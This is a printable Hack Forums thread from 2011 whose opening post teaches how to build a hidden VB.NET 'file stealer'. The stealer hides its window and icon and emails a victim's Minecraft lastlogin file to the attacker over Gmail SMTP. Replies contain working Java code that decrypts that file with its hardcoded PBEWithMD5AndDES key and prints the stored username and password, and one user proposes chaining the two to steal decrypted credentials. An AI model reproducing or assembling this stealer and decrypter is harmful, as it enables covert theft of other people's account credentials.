Hack Forums
[.NET] [TUT] Minecraft Stealer / File Stealer [TUT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [TUT] Minecraft Stealer / File Stealer [TUT] (/showthread.php?tid=2002809)

Pages: Pages 1 2 3 4 5


[TUT] Minecraft Stealer / File Stealer [TUT] - (╯°□°)╯︵ ┻━━┻ - Dec 11, 2011

Hello, and welcome to my first Visual Basic tutorial! I will be showing you how to make a File Stealer! The example that I will be showing you is a Minecraft lastlogin stealer!


Source:
[img]http://snpr.cm/Ro5XTw.jpg[/img]

Explanation of everything:

[img]http://screensnapr.com/e/wsO2s4.png[/img]
This line makes the form invisible.

[img]http://www.dylang.net/images/agohzq.png[/img]
This hides the icon.

[img]http://www.dylang.net/images/l44lu7.png[/img]
To prevent errors, this checks to make sure the file exists first.

[img]http://www.dylang.net/images/2mf2vv.png[/img]
This sets up the email and the SMTP client first.

[img]http://www.dylang.net/images/d6mc34.png[/img]
This sets who the email is from.

[img]http://www.dylang.net/images/y4gibx.png[/img]
This sets who the email is to.

[img]http://www.dylang.net/images/4zehf3.png[/img]
This sets the subject of the email.

[img]http://www.dylang.net/images/3v6vaj.png[/img]
This creates a new attachment with the specified file.

[img]http://www.dylang.net/images/mbls4a.png[/img]
This adds the attachment to the email message.

[img]http://www.dylang.net/images/p7w2nb.png[/img]
This is required for GMail.

[img]http://www.dylang.net/images/i2hwr1.png[/img]
This sets the login username and password to authenticate the email.

I hope you enjoyed this. It took me a while to get the images ready. Please comment :). Thank you.

P.S, I need to add 4 more images but HF limits the post to 15 images! So when someone responds, I can finish it. Thanks :)


[img]http://www.dylang.net/images/bpebed.png[/img]
This is required for GMail.

[img]http://www.dylang.net/images/agohzq.png[/img]
This sends the email with the attachment, then exists the program because the job is done.

Result:

[img]http://www.dylang.net/images/cvvjoh.png[/img]


* - blackperuvian - Dec 11, 2011

Cool I hate leechers but can you send me all source I donpt have too much time to copy


* - (╯°□°)╯︵ ┻━━┻ - Dec 11, 2011

(Dec 11, 2011 03:11 PM)blackperuvian Wrote:  Cool I hate leechers but can you send me all source I donpt have too much time to copy

Not trying to be a jerk, but if you code it yourself, it helps you understand it more ;)


* - AirKode - Dec 11, 2011

Very nice tutorial, HQ and the image method is sort of good enough to prevent leechers :)




(Dec 11, 2011 03:11 PM)blackperuvian Wrote:  Cool I hate leechers but can you send me all source I donpt have too much time to copy

I'm sorry, but you have displayed the typical logic of a leecher.


* - blackperuvian - Dec 11, 2011

you know that lastlogin is encrypted=?=


* - (╯°□°)╯︵ ┻━━┻ - Dec 11, 2011

(Dec 11, 2011 03:18 PM)AirKode Wrote:  Very nice tutorial, HQ and the image method is sort of good enough to prevent leechers :)




I'm sorry, but you have displayed the typical logic of a leecher.

Thanks a bunch for the kind words :). Pictures + leechers = sadfaic

(Dec 11, 2011 03:20 PM)blackperuvian Wrote:  you know that lastlogin is encrypted=?=

You know that there are decrypters for the lastlogin right?


* - moveax - Dec 11, 2011

One question, what encryption does minecraft use? I don't think we'll be able to decrypt it via VB rather use the language it was created it uses a cipher


* - (╯°□°)╯︵ ┻━━┻ - Dec 11, 2011

(Dec 11, 2011 03:20 PM)moveax Wrote:  One question, what encryption does minecraft use?

It's called "PBEWithMD5AndDES" and there are decrypters for it. Leets/UB3Rs PM me for a source to decrypt it with.


* - blackperuvian - Dec 11, 2011

Smelll....uhmm I hope will be easy to decrypt it
http://cs.saddleback.edu/rwatkins/CS4B/Crypto/FileEncryptor.html

It is very very hard des + md5 + salt = 99 years..


* - moveax - Dec 11, 2011

(Dec 11, 2011 03:22 PM)Armadylan Wrote:  It's called "PBEWithMD5AndDES" and there are decrypters for it. Leets/UB3Rs PM me for a source to decrypt it with.

so its only java k 🤝
Code
import java.io.*;
import javax.crypto.*;
import java.util.*;
import javax.crypto.spec.*;

public class test
{

public static void main(String[] args)
{
new test();
}
public String user = "";
public String pass = "";

public test()
{
readUsername();
System.out.println(user+" "+pass);
}

  private void readUsername() {
    try {
  //File lastLogin = new File(Util.getWorkingDirectory(), "lastlogin");
File lastLogin = new File("./lastlogin");
  Cipher cipher = getCipher(2, "passwordfile");
  DataInputStream dis;
  if (cipher != null)
  dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher));
  else {
  dis = new DataInputStream(new FileInputStream(lastLogin));
  }
  user = dis.readUTF();
  pass = dis.readUTF();
  dis.close();
    } catch (Exception e) {
  e.printStackTrace();
    }
  }
private Cipher getCipher(int mode, String password) throws Exception {
    Random random = new Random(43287234L);
    byte[] salt = new byte[8];
    random.nextBytes(salt);
    PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);

    SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec(password.toCharArray()));
    Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
    cipher.init(mode, pbeKey, pbeParamSpec);
    return cipher;
  }

}



* - VPN - Dec 11, 2011

Thank you for the tutorial.
It's really going to help me.


* - (╯°□°)╯︵ ┻━━┻ - Dec 11, 2011

Code
    public static void main(String[] args) {
        try {
            Random random = new Random(43287234L);
            byte[] salt = new byte[8];
            random.nextBytes(salt);
            PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
            SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
            Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
            cipher.init(2, pbeKey, pbeParamSpec);
            File passFile = new File("C:\\Users\\xx\\Downloads\\", "lastlogin");
            DataInputStream dis = null;
            dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
            System.out.println("Username: " + dis.readUTF());
            System.out.println("Password: " + dis.readUTF());
            dis.close();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

The one above this post makes my eyes bleed.


* - moveax - Dec 11, 2011

(Dec 11, 2011 03:26 PM)Armadylan Wrote:  
Code
    public static void main(String[] args) {
        try {
            Random random = new Random(43287234L);
            byte[] salt = new byte[8];
            random.nextBytes(salt);
            PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
            SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
            Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
            cipher.init(2, pbeKey, pbeParamSpec);
            File passFile = new File("C:\\Users\\xx\\Downloads\\", "lastlogin");
            DataInputStream dis = null;
            dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
            System.out.println("Username: " + dis.readUTF());
            System.out.println("Password: " + dis.readUTF());
            dis.close();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

The one above this post makes my eyes bleed.
I googled it 🤝 I'm glad i forced you to release it.



* - (╯°□°)╯︵ ┻━━┻ - Dec 11, 2011

(Dec 11, 2011 03:26 PM)moveax Wrote:  I googled it 🤝 I'm glad i forced you to release it.

I was going to release it anyways. And you didn't "force" me to do anything.


* - blackperuvian - Dec 11, 2011

You can execute java + vb.net and decrypt it them send it to mail ..
i will try :D
http://genetichax.com/hacking-coding-programming/7769-how-decrypt-minecraft-lastlogin-files-java.html